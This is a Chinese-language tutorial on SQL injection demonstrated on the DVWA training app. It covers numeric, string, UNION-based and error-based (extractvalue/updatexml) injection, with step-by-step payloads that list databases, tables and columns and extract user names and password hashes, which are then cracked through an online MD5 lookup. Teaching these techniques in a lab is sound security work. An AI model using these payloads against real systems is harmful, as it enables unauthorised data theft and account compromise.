SQL注入
1.漏洞简介
结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于 数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关 系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成 为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所 以,实际上不同数据库系统之间的SQL不能完全相互通用。
2.漏洞原理
可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还 存在与API、隐藏链接、http头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建 议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。 需要记 住的information_schema数据库的SCHEMATA、TABLES、COLUMNS。 SCHEMATA表中存放所 有数据库的名,字段名为SCHEMA_NAME。 关键函数database() 当前数据库名、version() 当前 mysql版本、user()当前mysql用户.
3.漏洞危害
危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传webshell,执行命令。
4.SQL注入分类
4.1 数字型
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入
比如我们在dvwa中输入1
前端是可以给我们返回结果的
然后我们输入1'
前端返回一个错误页面,提示我们语法错误
那这就极大概率存在注入
现在我们尝试输入1 and 1=1
也可以正常显示结果,那我们可以判断它存在数字型注入,因为数据库里肯定不会存在一个value值为'1 and 1=1'的数据
接下来我们在输入1 and 1=2
结果它依然可以查询到结果,按理来说1=2为false,那数字型注入应该查询不到结果才对
原因是这样的:
我们点击view source查看dvwa的php代码
发现这条sql语句对用户输入的参数加了单引号
那么我们输入的1 and 1=2变成了'1 and 1=2',由于它是int型,所以存在隐式转换,返回给我们id=1的结果
4.2 字符型
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来 闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name='admin'
那我们可以将dvwa当成是字符型的,对于字符型我们该如何注入呢。
我们要考虑的就是逃避掉单引号,所以可以构造payload:1' and 1=1#
查询到结果
我们构造的payload使得查询语句变为SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1#';
1' 和前面的单引号刚好闭合,#将后面的单引号给注释掉,成功逃避单引号。
4.3 Union注入 (联合查询注入)
联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表 的查询组合到一起,使用UNION或UNION ALL 注意:UNION操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL
union和union all 的区别
我们进入dvwa的数据库,用union将两条相同的语句合并,结果被去重。
但是用union all 则不会去重
前提条件:
页面上有显示位
mysql 5.0以上版本,存在一个自带的数据库名为:information_schema(重点)
information_schema数据库中有三个表非常重要 :
1.schemata:表里包含所有数据库的名字
2.tables:表里包含所有数据库的所有表,默认字段为table_name
3.columns:表里包含所有数据库的所有表的所有字段
三个列非常重要
TABLE_SCHEMA:数据库名
TABLE_NAME:表名
COLUMN_NAME:字段名
联合注入的过程: 1.判断注入点 2.判断是整型还是字符型 3.判断列数、判断显示位 4.获取所有数据库名 5.获取数据库所有表名、字段名、字段中的数据重
那接下来我们就开始演示联合注入的过程:
①判断字段数
我们可以通过order by 来判断字段数,order by 可以对列进行排序,比如下面这个例子
但是我们order by 3则会报错,因为我们的查询结果只有两列
所以我们可以通过order by来判断字段数,也就是列数
我们构造payload:1' order by 2#可以查询到结果
然后使用1' order by 3则会报错,所以我们可以判断出它有两个字段
②判断显示位
显示位就是前端给我们返回的,可以看到的结果
构造1' union all select 1,2# 前端成功给我们将1和2返回,所以判断显示位有两位
③判断库名
我们构造payload:1' union all select database(),version()#
可以看到我们已经注入出库名为dvwa
database()是数据库自带的函数,可以显示当前库的名称
④判断表名
构造sql语句:1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
查询到dvwa库中有guestbook和users两张表
group_concat()函数可以将一列中的不同行合并
⑤判断字段名
构造:1' union all select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa'#
我们sql注入的目的是想拿到账号密码等重要信息,所以我们直接注入users这张表,我们可以猜测,users表里面存放了账号密码。
查看注入结果,有user和password字段
⑥注入用户名和密码
构造:1' union all select group_concat(user),group_concat(password) from users#
成功注入出用户名和密码
但是我们可以看到,注入出的密码是密文的,我们可以通过在线的MD5解密工具,比如md5在线解密破解,md5解密加密 (cmd5.com)
得到明文密码:password,但是它并不是真的将密码解密,而是通过撞库获得的密码。
4.4 报错注入
报错注入顾名思义主要是利用数据库报错来进行判断是否存在注入点。如果不符合数据库语法规则就会 产生错误。
常用的特殊字符:' \ ; %00 ) ( # "
在mysql高版本(大于5.1版本)中添加了对XML文档进行查询和修改的函数:
extractvalue()
updatexml()
原因:当这两个函数在执行时,如果出现xml文档路径错误就会产生报错。
报错注入常用函数:
extractvalue()函数
此函数从目标XML中返回包含所查询值的字符串。语法:extractvalue(XML_document, xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax) select user,password from users where user_id=1 and extractvalue(1,0x7e);
由于0x7e就是~,~不属于xpath语法格式,因此报出xpath语法错误。
函数使用格式:extractvalue(xml_document,Xpath_string),作用是从document中返回包含string的 字符串,如果string参数不符合xpath的语法就会报错,将查询的结果放在报错信息里,即extractvalue 函数报错时会解析SQL语句。
注入思路:库名 -> 表名 -> 列名 -> 字段内容
之所以我们用0x7e,而不是直接用~,是因为extractvalue只能接收字符串,我们用~则会报错,必须使用'~'
而0x7e,数据库是可以直接识别为'~'的
下面我们开始报错注入
①注入库名
构造payload:1' and extractvalue(1,concat(0x7e,database()));#
通过前端给我们返回的报错信息,可以得到库名dvwa
concat()函数可以将一行中的不同列合并
②注入表数
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#
根据报错信息,知道dvwa库中有两张表
count()函数的作用是计数
③注入表名
在上一步操作中已经知道有两张表了,现在就要注入它的表名
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)));#
注入出第一张表为guestbook
这里用了limit函数limit 0,1的意思是从第0个查询结果开始,显示它后面的一个查询结果
同理,我们想要第2个查询结果,那就是limit 1,1
所以我们构造:1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)));#
注入出第二张表users
④注入字段数
构造payload:1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#
可知users表中有8个字段
⑤注入字段名
构造payload:1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
注入出第一个字段为user_id
那注入其他字段的方法相同,下面就不再演示,根据之前联合注入我们已经知道有user和password字段了
⑥注入用户名和密码
构造:1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
得到用户名admin
构造:1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1)));#
得到用户admin相对应的密码
上面是通过extractvalue()函数来报错注入的,我们同样可以用updatexml()函数
updatexml()函数
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,文中为Doc
第二个参数:代表路径,Xpath格式的字符串例如//title
第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and updatexml(1,0x7e,3); 由于0x7e是~,不 属于xpath语法格式,因此报出xpath语法错误
使用格式:updatexml(xml_document,xpath_string,new_value),作用是将document的中符合string 的字符串替换为value的值。同上,这里string参数不符合xpath语法也报错。
我们做一下演示:
注入库名:
构造:1' and updatexml(1,concat(0x7e,database()),1)#
注入出库名
后面的过程和用extractvalue()类似,不再做演示。